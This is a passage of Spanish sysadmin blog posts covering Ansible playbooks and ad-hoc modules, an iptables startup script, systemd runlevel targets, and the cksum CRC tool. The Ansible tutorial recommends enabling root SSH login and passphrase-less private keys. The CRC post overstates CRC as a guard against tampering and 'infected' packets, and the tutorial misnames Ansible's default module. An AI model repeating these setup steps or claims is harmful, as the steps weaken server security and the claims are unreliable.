#ESTE ES EL PLAYBOOK DEL FIREWALL
- name: COPIAR IPTABLES DEL CONTROLADOR A LOS NODOS
  copy: src=/usr/src/iptables.sh dest=/etc/init.d/iptables.sh
  notify: "CORTAFUEGOS"
...

Como veis directamente empezaríamos con el - name; sin mencionar los hosts, ni el usuario remoto, ni el hecho de que es una tarea y no un handler, pues todo eso ya ha sido especificado por el anterior playbook. En este caso lo que hacemos simplemente es copiar un fichero desde la máquina controladora al resto de equipos y que en caso de que haya una diferencia entre el iptables.sh del equipo controlador y el del nodo, mande un notify llamado "CORTAFUEGOS". Obviamente si el fichero iptables.sh no existiese en el nodo, también mandaría dicho notify.

El proceso de llamamiento de un handler mediante un include no difiere apenas con el realizado con las tareas. Buen ejemplo de ello sería el handler Firewall_handler.yml que estaría relacionado con la tarea arriba mostrada; en este caso usaremos otro módulo nuevo llamado file, capaz de modificar los permisos de un fichero para que sea ejecutable:

---
#HANDLERS FIREWALL
- name: Dar permisos firewall
  file: dest=/etc/init.d/iptables.sh mode=755 state=touch
  listen: "CORTAFUEGOS"
- name: Arrancar cortafuegos
  shell: /etc/init.d/iptables.sh start
  listen: "CORTAFUEGOS"
...

En este caso el handler lo primero que haría sería darle los permisos de ejecución necesarios al nuevo script para luego ejecutarlo. El contenido del cortafuegos no es algo relevante para este ejemplo, pero a modo de prueba podría ser algo como lo siguiente:

#!/bin/bash
case "$1" in
        start)
                iptables -F
                iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
                iptables -A INPUT -m state --state NEW -j DROP
                iptables -A OUTPUT -j ACCEPT
        ;;
        stop)
                iptables -F
        ;;
esac

Con esto ya tendríamos el firewall controlado y simplemente siguiendo las mismas pautas se podría hacer exactamente lo mismo para la gestión de tanto la parte Web como Asterisk, pues la base sería la misma que la que hemos estado usando hasta ahora.

Gracias a lo que hemos visto en este artículo, tendríamos un dominio básico de los playbooks gracias al cual podríamos realizar la mayoría de las gestiones necesarias para controlar un grupo de servidores... De aquí en adelante solo sería profundizar conceptos y jugar con los diferentes módulos de Ansible, con el fin de tener los playbooks más óptimos posibles.

Espero que os haya resultado útil.

Saludos.

Cómo instalar Ansible y usarlo de forma básica en Linux

2018-01-08T23:14:00.000+01:00

La gestión de múltiples equipos es una tarea que dependiendo del volumen de éstos, puede resultar una tarea abrumadora y extremadamente ineficiente; especialmente si queremos aplicar el mismo cambio a todos estos. Imaginemos que tenemos 5 servidores Linux con SSH instalado para gestionarlos remotamente; y tenemos que hacer (por ejemplo) una simple tarea de actualización, junto con añadir un nuevo DNS a/etc/resolv.conf. Ambas tareas son simples, pero no deja de requerir tiempo pues requiere replicarlas en 5 servidores. Es por ello que en ciertos entornos es recomendado tener alguna herramienta de automatización de tareas... Existen varias herramientas, tales como Chef, Puppet o Ansible, pero hoy nos vamos a centrar en la que, en mi opinión, es la que tiene la menor curva de aprendizaje y la que es más sencilla de gestionar: Ansible.

Ansible es una herramienta de automatización de tareas que puede mandar comandos a múltiples máquinas ya sea desde la consola a la fuerza, o mediante unos ficheros, cuyo formato es YAML (conocidos como playbooks), que siguen una estructura muy definida, en la que se establecen todo tipo de comandos, comportamientos, desencadenadores ante ciertos eventos, etc... Lo más común y lo ideal, es trabajar con dichos ficheros, pues se puede dejar todo configurado en estos y luego simplemente con decirle a Ansible que realice las acciones pertinentes que le digan éstos; pero a modo de introducción, es mejor comenzar con lo más básico y realizar tareas sencillas para luego, en caso de ver que la herramienta se adapta a nuestras necesidades, pasar a usar Ansible en profundidad.

Lo primero y necesario para poder gestionar todas las máquinas, es que todas tengan el paquete openssh-server instalado. Esto sí que es necesario hacer a mano. También es necesario tener dicho paquete instalado en la máquina controladora.

apt-get install openssh-server

La necesidad de dicho paquete radica en que todas las comunicaciones se hacen vía SSH, con lo que en caso de tener un firewall entre el controlador que enviará los comandos al resto, y las máquinas, habría que asegurarse de que éste no está bloqueando el puerto correspondiente (por defecto el 22). Aún así con esto no valdría; habría que habilitar el acceso de root por SSH a las otras máquinas; esta parte es subjetiva, ya que dependiendo de qué Linux estemos usando y la versión de éste, podemos tener habilitado el acceso remoto, pero lo ideal es asegurarse... Para ello habría que editar el fichero /etc/ssh/sshd_config y comprobar que el parámetro PermitRootLogin esté puesto a yes:

PermitRootLogin yes

Por supuesto habría que reiniciar el servicio SSH.

/etc/init.d/ssh restart

Ahora bien, hay que pensar en hacer las tareas lo más automatizadas posible, con lo que vamos a usar el método de autenticación de clave pública y privada para evitar tener que introducir la contraseña a cada servidor, ahorrándonos mucho tiempo y pudiendo hacer que las tareas de Ansible se ejecuten sin tener que estar nosotros delante autenticándonos cada vez que se conecte a un nuevo servidor. Esto puede parecer tedioso, pero hay que pensar que es un proceso se hará una sola vez, al igual que la instalación de SSH. Para ello, desde el servidor que usaremos como el controlador, es decir desde el que usaremos para enviar ordenes al resto con Ansible, generaremos un par de claves (una pública y una privada) RSA.

ssh-keygen -t rsa

Es importante matizar que cuando nos pregunten sobre qué contraseña ponerle a la clave privada para poder usarla, no poner ninguna, pues dicha clave privada, en un principio, no va a salir del equipo.
.
Ahora para exportar la clave pública a otro equipo se usaría el comando ssh-copy-id tal que así:

ssh-copy-id root@IP

Por ejemplo, si uno de los equipos tuviese la IP 192.168.1.8 haríamos:

ssh-copy-id root@192.168.1.8

Este comando habría que repetirlo para cada IP que queramos controlar. Obviamente, al copiar la clave pública, el equipo al queramos copiar la clave nos pedirá la clave de root de dicho equipo. Gracias a dicho comando ya podremos entrar a dichos equipos sin necesidad de contraseña, lo cual hará que cualquier tarea sea mucho menos tediosa; ahora bien, faltaría instalar Ansible en el equipo que queremos que "controle" al resto, es decir el equipo desde el que hemos enviado nuestra clave pública al resto. Afortunadamente instalar Ansible es tan sencillo como instalarlo de los repositorios:

apt-get install ansible

Ahora que tenemos Ansible instalado, lo primero que haremos será dirigirnos al fichero /etc/ansible/hosts; dicho fichero sería el encargado de recopilar los diferentes equipos que queremos controlar. En dicho fichero se pueden crear diferentes grupos que agrupan distintos hosts; grupos que se pueden llamar de forma individual, o que también pueden ser llamados todos a la vez. Cada grupo tendrá la siguiente estructura:

[nombre_grupo]
IP1
IP2
...

Un ejemplo puramente teórico podría ser:

[WEB]
192.168.1.7
192.168.1.8

[ASTERISK]
192.168.1.9

A modo de ejemplo vamos a crear un solo grupo que tendrá la IP 192.168.1.8 dentro del susodicho, pues sabemos que dicha IP tiene nuestra clave pública y que podremos efectuar cualquier acción sobre el equipo con dicha IP sin preocuparnos en introducir la contraseña.

[PRUEBAS]
192.168.1.8

Ahora que tenemos el fichero hosts preparado, vamos a efectuar un par de comando básicos:

El primero sería una simple comprobación del contenido del fichero /etc/resolv.conf de cada equipo controlado por Ansible:

root@debian:~# ansible all -a \ 
"cat /etc/resolv.conf"
192.168.1.8 | SUCCESS | rc=0 >>
nameserver 192.168.1.1

Esto haría que lanzásemos una consulta del contenido del fichero /etc/resolv.conf a cada equipo bajo nuestro control, y que cada uno nos devolviese como respuesta la salida de dicho comando; ahora bien; qué significa la estructura arriba mostrada? Dicha estructura es tan sencilla como:

ansible nombre_grupo -a "comando de Linux"

A la hora de poner el nombre de grupo podemos poner el nombre del grupo al que queremos hacer referencia, como por ejemplo PRUEBAS, o por el contrario, si queremos hacer referencia a todos los grupos habría que simplemente poner el nombre all, tal y como hemos hecho arriba. Es decir que en nuestro anterior comando podríamos haber puesto el nombre del grupo PRUEBAS en vez de all y haber obtenido el mismo resultado. Al igual que podemos haber mandando dicho comando, podemos lanzar cualquier otro comando común de la consola, como podría ser un "ifconfig" o incluso un "apt-get update"; es decir que prácticamente con la prueba de concepto de arriba, podrían mandarse comandos de consola simples a todos los equipos, lo cual de por sí nos puede ahorrar una cantidad de tiempo considerable.

Ansible ofrece más opciones más allá de los comandos de shell, ya que si bien he omitido este concepto a propósito en el primer ejemplo, cuando se mandan ordenes a través de Ansible, se mandan gracias al uso de módulos que son llamados gracias al parámetro -m. La lista de módulos y sus diferentes parámetros es realmente enorme; lista que se pueden encontrar en la página oficial de Ansible como podéis ver en este enlace. Mencionarlos todos es prácticamente imposible, pero hay unos pocos que pueden resultar interesantes de mencionar; en concreto habrían 3 módulos que en mi opinión son interesantes conocer:

shell: Este módulo es el usado por defecto. Es decir que no especificar un módulo o poner que se quiere usar este módulo viene a ser lo mismo. Este módulo ejecuta directamente ordenes de shell.
service: Este es un módulo muy interesante, ya que se encarga de comprobar el estado de los servicios y manipularlos. Puede pararlos, arrancarlos e incluso añadirlos y quitarlos del arranque... En definitiva, es un módulo muy interesante a la hora de mantener servidores.
apt: Este módulo se dedica a usar apt para realizar actualizaciones de la caché, instalaciones, actualizaciones y eliminaciones de paquetes.

El primer módulo ya hemos visto como usarlo y que simplemente requiere tener nociones de la shell, pero ¿Cómo usamos los módulos service y apt?

El módulo service tiene tres argumentos que podrían considerarse como los más importantes: El nombre del servicio, mediante el argumento name, el estado en el que queremos que esté mediante el comando state, y si queremos que se inicio no durante el proceso de arranque mediante el comando enabled. Los estados pueden ser: started, stopped, restarted y reloaded; mientras que la habilitación del arranque durante el inicio sería: yes o no.

La mejor forma de entender los argumentos es viendo el uso de estos:

Imaginemos que queremos parar el servicio ntp en todos los equipos que controlamos; el comando que lograría dicho resultado sería:

root@debian:~# ansible all -m service -a \
"name=ntp state=stopped"
192.168.1.8 | SUCCESS => {
    "changed": true,
    "name": "ntp",
    "state": "stopped",

Cada comando que lancemos que a cada máquina nos devolverá una serie de líneas, entre las cuales nos importará ver, por un lado que el comando se ha enviado exitosamente, lo cual se deduce al ver que devuelve un SUCCESS, y por otro lado hay una línea en la que veremos que dirá "changed"; en caso de dar como respuesta true, significará que antes se encontraba parado, mientras que al decir false nos estaría diciendo que ya se encontraba parado antes de que nosotros se lo ordenásemos. Otro ejemplo más completo, aprovechando que el servicio ntp se encuentra parado podría ser:

root@debian:~# ansible all -m service -a \
"name=ntp state=started enabled=yes"
192.168.1.8 | SUCCESS => {
    "changed": true,
    "enabled": true,
    "name": "ntp",
    "state": "started",

En este caso no solo le habríamos ordenado que arrancase, sino que además le estaríamos ordenando que se iniciase durante el proceso de arranque el equipo... Este ejemplo se ha usado para el servicio NTP pero podría extrapolarse a cualquier otro sin problema alguno.

Veamos ahora el módulo apt. Este módulo funciona de la misma forma que el uso habitual de apt-get, con la diferencia que desde aquí podremos controlar pequeños detalles como que por ejemplo tengamos un paquete concreto siempre con la última versión. Este módulo tiene muchos parámetros, pero los más importantes serían: name, cuya utilidad es la misma que la usada en el módulo de service y que está presente en la gran mayoría de los módulos, state, que en este caso tiene unos estados diferentes a los del módulo service, y update_cache, que sería un equivalente al comando apt-get update. Los estados en este caso serían: latest (última versión del paquete), absent, present y build-dep. El último estado simplemente comprobaría que el paquete X tiene todas las dependencias necesarias instaladas.

A sabiendas de dichos parámetros, podemos jugar con el módulo apt para, por un lado nos actualice la caché de los repositorios y que por otro lado nos instale (si no tenemos instalada ya) la última versión de NTP.

root@debian:~# ansible all -m apt -a \
"name=ntp update_cache=yes state=latest"
192.168.1.8 | SUCCESS => {
    "cache_update_time": 1515448761,
    "cache_updated": true,
    "changed": false
}

Gracias a dicho módulo podemos mantener actualizados todos los equipos sin tener que ir uno por uno realizando dicha tarea.

Existen muchos más módulos cuya importancia varía dependiendo de las herramientas que estemos usando, pero estas tres serían las más básicas y con las que se podrían realizar las tareas más sencillas sin necesidad de introducirse en el mundo de los playbooks.

Como podéis observar el uso de Ansible puede ayudar muchísimo en la administración de varios equipos. Cierto es que en este caso se ha interactuado con uno solo y que hacer la misma tarea directamente en dicho equipo habría sido más sencillo ¿Pero y si fuesen 5, o 10, o incluso 100? Esta herramienta brilla en dicho tipo de entornos y es donde realmente se le saca partido.

Espero que con este post hayáis podido ver las posibilidades que ofrece Ansible y las ventajas que puede ofrecer para automatizar ciertas tareas y ahorrarnos horas de tareas repetitivas.

Saludos.

Cómo controlar el runlevel en Linux con systemd

2018-01-02T22:16:00.001+01:00

La tecnología va evolucionando de forma inexorable con el paso de los años, haciendo que algunos conceptos que se han mantenido intocables con el paso de los años, cambien; cosa inevitable. Esto hace que, nos guste o no, tengamos que adaptarnos a dichos cambios. Uno de los cambios más polémicos que han tenido los entornos de GNU/Linux, es sin lugar a dudas la implantación de systemd, que se ha aplicado a la mayoría de sistemas operativos actuales, con algunas excepciones tales como Devuan. Dicho cambio supone la obligación del aprendizaje de nuevos conceptos, pues aunque en algunos sistemas como Debian o Ubuntu, existen varios enlaces simbólicos para algunas funciones con el fin de que la curva de aprendizaje sea mucho más suave, existen algunas funcionalidades que estamos obligados a aprendernos sí o sí. Uno de dichos conceptos sería el manejo del runlevel del sistema.

Ya se ha hablado de dicho concepto con anterioridad en este blog; pero en dicho caso se trató el concepto con un init de System V; init que ,para bien o para mal, va a tender a desaparecer o perder relevancia progresivamente. En este caso trataremos el el manejo del runlevel, o nivel de ejecución, en un entorno con un init systemd.

Para ello lo primero que tenemos que tener en cuenta es que para hacer referencia a dichos niveles de ejecución, no se hace numéricamente como antes (0, apagado, 1 modo monousuario, etc...), sino que se hace mediante descripciones más técnicas; descripciones a las que luego se hacen referencia mediante enlaces simbólicos, cuyos nombres son parecidos a los usados en System V (runlevel0.target, runlevel1.target...) pero que no dejan de ser enlaces simbólicos, con lo que es mejor tener claros los nombres reales de los niveles de ejecución en systemd. He aquí una pequeña tabla con los runlevels de System V, los nombre "intuitivos" usados en systemd, y los nombres reales utilizados en systemd:

Tabla nombre runlevels

Teniendo claros dichos conceptos, nosotros nos vamos a centrar en los nombres "reales" usados en systemd, sin uso de alias, pues dichos alias puede que en un futuro desaparezcan y es mejor intentar no crear posibles malos hábitos.

Para adivinar el runlevel usado por defecto por el sistema podemos recurrir a la herramienta principal de systemd: systemctl. En concreto habría que recurrir al siguiente comando:

root@debian:~# systemctl get-default
graphical.target

Por defecto, lo más común sería que viésemos el resultado mostrado arriba; es decir el runlevel graphical.target; o lo que sería lo mismo, el runlevel5 en System V. Además, si bien lo más común es que coincidan, podemos ver el runlevel actual de diferentes formas:

La primera, y menos recomendada debido a que con el tiempo la obsoletarán, será mediante el comando usado siempre en sistemas system V; es decir mediante el comando runlevel:

root@debian:~# runlevel
5

Otra forma de conocer el runlevel, es mediante systemctl, el cual ofrece un resultado más preciso pero que desgraciadamente no muestra un valor único; veréis, si os fijas bien todos los nombres acaban en "target", y es debido a que ahora muchos conceptos son denominados así, con lo que si listamos todos los targets cargados por el sistema, tendremos que ver entre dicho listado nuestro runlevel actual; el problema es que si bien la información es fidedigna, requiere o bien poner muchos greps para mostrar únicamente una línea, o fijarse entre las líneas mostradas en aquella que hace referencia al runlevel; he aquí el comando y el resultado mostrado por este:

systemctl list-units --type target |grep loaded

Teniendo en mano la información deseada, ahora podemos proceder a cambiar el runlevel, cambio que se puede hacer de dos formas diferentes.

El primero y el más "sólido" sería cambiando el runlevel por defecto usado por el sistema. Esto haría que a partir del siguiente reinicio siempre se usase dicho runlevel; lo cual en algunos casos puede ser útil aunque habría que ser muy cuidadoso, ya que en dicho caso nunca podríamos usar los "targets" poweroff.target ni reboot.target, pues en caso contrario no podríamos arrancar con normalidad a menos que editasemos el runlevel en el propio GRUB para dicho arranque en cuestión. Dicho cambio se haría mediante el comando systemctl tal que así:

systemctl set-default nombre_target

Por ejemplo:

systemctl set-default rescue.target

Esta acción cambiará el runlevel que cargaremos por defecto y si nos fijamos bien veremos que en realidad lo que realiza es un enlace simbólico desde /lib/systemd/system/nombre_target a /etc/systemd/system/default.target, con lo que en caso de no sentirnos cómodos usando la herramienta systemctl, podemos optar por cambiar el runlevel por defecto de la siguiente forma:

rm /etc/systemd/system/default.target
ln -s /lib/systemd/system/rescue.target \
/etc/systemd/system/default.target

Si en cambio quisiésemos cambiar el runlevel del sistema únicamente para la sesión actual, habría que optar por otro comando de systemctl; en concreto sería:

systemctl isolate nombre_target

Por ejemplo:

systemctl isolate rescue.target

Como veis, la manipulación del runlevel mantiene las mismas bases que en system V, con la diferencia de que se usan herramientas y nomenclaturas distintas; lo más importante dentro de los runlevels de systemd no sería el conocimiento de la herramienta de systemctl, sino la comprensión de las nuevas nomenclaturas de éstos, nomenclaturas que ahora sería "targets" y que estarían estrechamente ligadas a la definición de cada nivel de ejecución.

Espero que os haya resultado útil.

Saludos.

Cómo calcular el CRC de un fichero en Linux

2017-12-21T22:03:00.001+01:00

Las redes de datos se van haciendo progresivamente más complejas y más difíciles de administrar; ya sea por que las infraestructuras crecen o debido a que existen más factores que pueden conducir a un error o una corrupción en la comunicación; desde fallos a nivel de diseño hasta ataques de man in the middle. Afortunadamente a medida que la tecnología evoluciona, también lo hacen los mecanismos de verificación, y hoy vengo a hablaros de uno de ellos que se usa en todas las redes de una forma imperceptible para los usuarios. Se trata del CRC o Código de Redundancia Cíclica.

CRC no es ni más ni menos que una mecanismo de verificación de integridad de datos, el cual realiza un checksum al enviar un paquete a otro punto de la red, y luego es realizado otro más al llegar a su destino. Ambos checksum serían comparados y en caso de que fuesen iguales, el paquete se daría por válido, mientras que en caso contrario se consideraría que el paquete se encuentra corrupto o infectado. A modo aclaratorio, he aquí un pequeño diagrama que puede resultar de ayuda:

El mecanismo de comprobación del CRC es ejecutado automáticamente por el sistema sin intervención alguna, pero eso no significa que no haya métodos para comprobar el CRC de un fichero manualmente sin necesidad de tener que enviarlo a ningún lado. La herramienta en cuestión, obviamente para entornos GNU/Linux, se llama cksum.

Cksum es una herramienta cuya dificultad de uso, afortunadamente, es nula y que ya viene pre-instalada en el sistema, con lo que su uso está al alcance de cualquiera. Su utilidad es el calcular el checksum CRC de un fichero y para usarla simplemente habría que escribir:

cksum fichero

Ejemplo:

cksum testCRC.txt
935282863 5 testCRC.txt

La salida de este comando estaría dividida en tres columnas: La primera correspondería al checksum CRC, la segunda al tamaño del fichero y la tercera al nombre de éste. Tanto el CRC como el tamaño son importantes, pero a nivel de red el que se tomaría en cuenta sería el CRC. Dicho checksum CRC cambiaría en caso de que el contenido de éste cambiase; veamos un pequeño ejemplo:

root@debian:/tmp# cat testCRC.txt
test
root@debian:/tmp# cksum testCRC.txt
935282863 5 testCRC.txt
root@debian:/tmp# echo 'Cambio de contenido' > testCRC.txt
root@debian:/tmp# cat testCRC.txt
Cambio de contenido
root@debian:/tmp# cksum testCRC.txt
301284194 20 testCRC.txt

En el ejemplo anterior se puede apreciar que cuando el contenido del fichero testCRC.txt es test, el checksum es 935282863 mientras que cuando el contenido es Cambio de contenido, sería 301284194. Dicho checksum también variaría con cambios más sutiles, tales como la sustitución de todas las i por u (mediante el comando sed por ejemplo).

root@debian:/tmp# sed -i 's/i/u/g' testCRC.txt
root@debian:/tmp# cat testCRC.txt
Cambuo de contenudo
root@debian:/tmp# cksum testCRC.txt
1797125648 20 testCRC.txt

Se podría considerar como una comprobación de checksum parecida a la usada con md5 (mediante md5sum) pero con un enfoque mucho más orientado a las redes; es más en este caso se podría decir que se hacen comprobaciones de integridad de forma automática sin que nosotros nos percatemos de ello; haciendo que el Código de Redundancia Cíclica sea usado por todo tipo de usuarios todos los días sin que la mayoría de ellos lo sepan, con lo que en ocasiones puede sernos interesantes conocer el CRC de un fichero con el fin de tener un mayor conocimiento de la información transmitida y/o recibida.

Espero que os haya parecido interesante.

Saludos.